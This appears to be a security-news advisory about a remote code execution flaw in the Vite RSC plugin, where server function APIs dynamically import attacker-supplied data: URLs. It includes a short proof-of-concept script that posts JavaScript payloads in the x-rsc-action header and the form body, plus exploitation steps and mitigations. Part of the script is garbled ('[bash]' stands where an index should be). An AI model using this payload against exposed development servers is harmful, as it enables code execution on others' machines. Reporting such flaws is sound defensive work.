Listen to this Post
The vulnerability in @vitejs/plugin-rsc arises from unsafe dynamic imports within server function APIs such as loadServerAction, decodeReply, and decodeAction. During development, these APIs handle HTTP requests for server function calls in RSC applications. The APIs dynamically import modules based on user-controlled inputs from request headers and bodies. Specifically, the dynamic import function is used without proper validation, allowing attackers to specify arbitrary module identifiers, including data URLs. Data URLs can contain malicious JavaScript code that is executed when imported. In the provided example, the server endpoint (e.g., /_.rsc) processes POST requests where the “x-rsc-action” header and form data body include data URLs. When the server decodes these inputs, it passes them to dynamic import, leading to the execution of arbitrary JavaScript code with Node.js privileges. This occurs because the dynamic import in development mode does not restrict module sources, enabling imports from unsafe schemes like “data:text/javascript”. The exploit leverages this to run console.log or any other code, demonstrating remote code execution. The issue is specific to development servers but becomes critical when exposed to network interfaces via vite –host.
Platform: Vite Plugin RSC
Version: Unspecified
Vulnerability: Remote Code Execution
Severity: Critical
Date: Unknown
Prediction: Patch Date TBD
What Undercode Say:
Analytics:
bash commands: vite dev
node poc.js
code from poc.js: const payload = { 0: [“$F1”], 1: { id: “data:text/javascript,console.log(‘REMOTE CODE EXECUTION 1’) ” }, }; const fd = new FormData(); for (const key in payload) { fd.append(key, JSON.stringify(payload[bash])); } const serverUrl = process.argv[bash] || ‘http://localhost:5173/_.rsc’; const response = fetch(serverUrl, { method: “POST”, headers: { “x-rsc-action”: “data:text/javascript,console.log(‘REMOTE CODE EXECUTION 2’) “, }, body: fd, })
How Exploit:
Craft HTTP POST requests with malicious data URLs in x-rsc-action header and form data body to trigger dynamic imports on exposed development server endpoints.
Protection from this CVE:
Restrict development server to localhost; avoid vite –host; update plugin when patched.
Impact:
Arbitrary code execution, file access, data exfiltration, internal network pivoting.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
